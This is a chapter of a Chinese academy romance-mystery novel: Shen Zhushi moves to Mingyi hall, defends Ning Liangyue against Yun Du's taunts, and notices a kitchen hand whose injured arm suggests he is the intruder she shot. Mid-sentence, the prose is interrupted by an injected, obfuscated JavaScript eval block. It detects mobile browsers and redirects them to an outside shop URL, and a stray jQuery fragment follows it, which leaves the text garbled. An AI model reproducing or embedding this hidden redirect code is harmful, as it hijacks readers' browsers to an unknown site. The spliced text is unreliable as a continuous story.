宁良月不动声色退开两步,温声道:“宁某才疏学浅,云小姐还是自去请教夫子,莫要耽误了学业。”
云舒欲再说些什么,身后忽然传来一声嗤笑:“小妹,你这么巴巴凑上前作甚,人家宁大少爷想指点的可是另有其人。”
这一番话引得崇德斋内学子纷纷竖起耳朵,生怕遗漏了什么重要信息,心中的八卦之魂熊熊燃烧。
来人一双狭长桃花眼微微上挑,唇角微勾,一眼看去便感觉是个惯会调笑人的浪荡公子。
云舒见自家哥哥来,面上一喜:“二哥,你怎么来了?”
云渡似笑非笑,并未应答,迎上宁良月的目光:“宁公子我说的没错吧?”
宁良月神色微冷,警告道:“云兄慎言。”
“哦?我慎言?我看分明是有人用心不良,你说是吧,沈小姐?”云渡侧首望向沈竹石。
沈竹石正吃瓜吃得精彩,莫名被卷入几人的明枪暗箭中,不由愕然:“啊?”
一瞬间,崇德斋几十双眼睛齐刷刷盯住沈竹石。
沈竹石满脸疑惑,眨眨眼,迟疑道:“是发生什么事了吗?”
宁良月吐出一口浊气,缓缓摇头,道:“无事发生,我今日是奉夫子之命,接沈小姐去明义斋,沈小姐先去收拾东西吧!”
“好。”沈竹石懵懂点头。
另一边,云舒扯着云渡衣袖,压低声音问道:“二哥,你说清楚,你方才是什么意思?”
云渡双手环胸,眼角眉梢俱是玩味之色:“没什么意思,不过,明义斋今后就会变得很有意思了。”
丢下一句莫名其妙的话,云渡扬长而去,独留云舒在原地气得跺脚。
沈竹石东西不多,大多都是上课用的书籍,很快便整理好了,迷迷糊糊跟着宁良月去往明义斋。
宁良月从她怀中抱过书籍:“还未来得及恭喜阿竹此番考进明义斋。”
沈竹石轻哼一声,不服气道:“考进明义斋有什么用?不还是没考过你?”
宁良月失笑,眸光沉静温柔,并无一丝不悦,道:“阿竹只是射艺薄弱些,今后勤加练习,很快就能赶超我。”顿了顿,又卖起关子,“我倒是有个好法子。”
沈竹石来了兴趣,追问道:“什么法子?”
宁良月故作深沉:“小时候祖父教我射箭时,有些门道,不过一时之间三言两语也说不清。”
他单手托着她那一摞书卷,身姿挺拔温雅,语气淡淡,偏偏一番话说得含含糊糊,像小猫抓心肝似的,叫人难耐。
沈竹石:“三言两语说不清,那该如何是好?”
宁良月侧过头,语气真挚,一派温柔体贴,处处为沈竹石着想的模样:“往后你若是去练箭就叫上我,我再一一教你,如何?”
“好!”沈竹石不疑有他,一口应下。
得了沈竹石同意,宁良月微微一笑。明明还是那副清风明月、光风霁月的模样,可那谋算得逞的欣喜却怎么都压不住,藏在袖中的手指悄悄蜷起。
欢喜之余,心里又暗暗唾弃自己,斥责自己枉读圣贤书,满脑子都是算计人的私心。
他真是卑鄙,云渡说得没错,他就是用心不良,阿竹明明什么都不知道,就是个小书呆,他还要借着射箭的由头与她日日相处。可是阿竹这么好,又什么都不懂,要是被别的坏男人骗了怎么办?
“你怎么了?”意识到身边人愣愣停在原地,沈竹石出声问道。
宁良月摇摇头,压下心底如野草般疯狂生长的复杂情愫,道:“马上上课了,我们快去课室落座吧!”
在钟声敲响前,二人进了明义斋的课室。
明义斋与崇德斋布局大致相似,陈设典雅古朴,唯一不同的是堂下都是些陌生的面孔。
一踏进课室,满屋学子不约而同抬眼看来,全都好奇地打量着这名新晋第二,险些压过榜首宁良月的沈竹石。
宁良月领着她走到书案前,书案上早已备好笔墨纸砚,一应俱全。
窗边的云渡斜倚在窗框,单手支着下颌,目光来回扫向两人,哂笑道:“到底是宁大少爷,待人如此体贴入微,天底下怕是再也找不出第二个来了。这般殷勤周到,依我看,倒是比府里侍候人的仆从还要尽心尽力。”
话里明着嘲讽宁良月刻意讨好,暗指他动机不纯。
沈竹石闻言,面色一沉,这人真是比云舒还讨厌,从刚刚开始就一直挑事。
她与宁良月是生死之交,自然了解其品性,虽说她平日里待他冷淡,但早已将宁良月视为挚友。
听见这番无端诋毁,她当即蹙起眉头,往前一步挡在宁良月身前,神色凛然。
“云公子说话应当留有分寸。良月不过是顾及我刚升入斋中诸事不熟,才出手帮衬一二,乃是同窗之间的厚道善意。书院之中本就该守望相助,你却凭空揣度人心,肆意冷言挖苦,实在不合礼数。”沈竹石冷然道。
宁良月似乎没料到沈竹石会这样维护自己,怔愣了片刻,轻扯沈竹石衣袖,柔声劝道:“阿竹不必动气,我没事的。”
长睫轻敛,投下一片浅浅阴翳,眉宇间笼着淡淡落寞,活脱脱一副无端受人非议,委委屈屈的小可怜模样。
云渡被她一呛,又见宁良月一副受了天大委屈的矫揉造作模样,脸色青一阵白一阵,颇为难看,一口气差点没顺上来,一甩衣袖,恨恨坐回位置。
“咚——”浑厚钟鸣回荡在整个书院,梅夫子手捧书卷踏入课室,喧闹归于寂静。
沈竹石坐直身子,提笔蘸墨,只是心底仍是愤愤不平。
等到下课钟声敲响,沈竹石收好笔墨,望向宁良月,认真道:“往后若是他再出言刁难,你不必一味忍让。”
宁良月对上沈竹石黑白分明的眼睛,她目光澄澈,满是信任,宁良月莫名起了一丝心虚,阿竹这么相信他,为他出头,可他心底都是些龌龊心思。
宁良月不自然地偏过头,避开沈竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752514|209332||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
石的视线,道:“同窗之间有些争执再正常不过,我本想着莫要伤了同窗之谊,只是屡屡叫你跟着受委屈,心中实在过意不去。”
他语音低落,偏头时露出一截白皙修长的脖颈,脆弱无害,惹人怜惜。
沈竹石心肠一软,连忙安抚:“这和你无关,是他心胸狭隘。”
但沈竹石嘴笨,到底不擅长安慰人,末了,憋出一句:“要不要一起去吃饭?”
“好。”宁良月乖乖应下,面上还是失落怅然的模样,心里早就软得一塌糊涂,阿竹怎么这么好。
二人顺着人流走进饭堂,正值酷暑,暑热难耐,饭堂特意备了解暑的冰镇莲子羹,清甜的香气四处飘散,勾得人馋虫大动。
“李叔,要四碗莲子羹。”沈竹石道。
“阿竹,四碗会不会太多了?”宁良月道。
沈竹石一脸理所当然:“我与表兄和桑若约好了,先替他们打好饭,等他们一起。”
李叔手脚麻利很快打好了四碗莲子羹,一面递给沈竹石,一面唤道:“子顺,莲子羹没了,再提一桶来!”
“原是如此,”宁良月垂头,这下倒是真有几分失落,语气不自觉有些酸溜溜,“我还以为只有我与阿竹两个人。”
沈竹石并没有注意到宁良月语气中的酸意,只因她的注意全放在了那名叫子顺的帮厨身上。
青年二十岁上下的模样,皮肤黝黑,粗布短衫洗得发白,听见李叔的吩咐,躬身去搬木桶。他的右臂看似如常,动作间却僵硬滞涩,发力时刻意把所有力道压在左肩。
她心头猛地一紧,不禁想起那日晚上射伤的神秘人,书院多日搜查似乎都没什么线索,几乎已经算是不了了之。
宁良月顺着她的目光望去,压下方才那点醋劲儿,道:“阿竹,你在看什么?”
沈竹石回过神,握紧手中托盘,唇线紧绷:“他的右臂很不自然,像是受过伤。”
宁良月神色一凛,正色道:“先不要声张,饭堂人多眼杂,万一逼得对方狗急跳墙,反倒容易伤及旁人。”
沈竹石凝重点头。
经了这茬,二人忧心忡忡,浑然没了吃饭的心思。
子顺说到底只是一名低微的饭堂小厮,无凭无据,仅凭一处动作疑点根本无法定罪,反倒落人口实。
沈竹石道:“我们现下该怎么办?”
宁良月沉吟片刻,低声道:“我会悄悄禀明山长,请他安排护卫暗中盯着此人。倘若那晚的贼人并非他,自然万事安稳;可一旦他有异动,便能当场拿获。”
沈竹石依旧眉头紧锁:“可他身后藏着主谋,只盯住子顺,能引出幕后之人吗?”
“山长手下的护院只在书院之内巡查,不会直接审问捉拿。”宁良月缓缓解释,“我会让齐修守在杂役侧门外,等子顺走出院门继续尾随。一内一外两相照应,既守得住书院规矩,又能顺着他的行踪挖出藏在暗处的主使,比我们私下贸然行动稳妥得多。”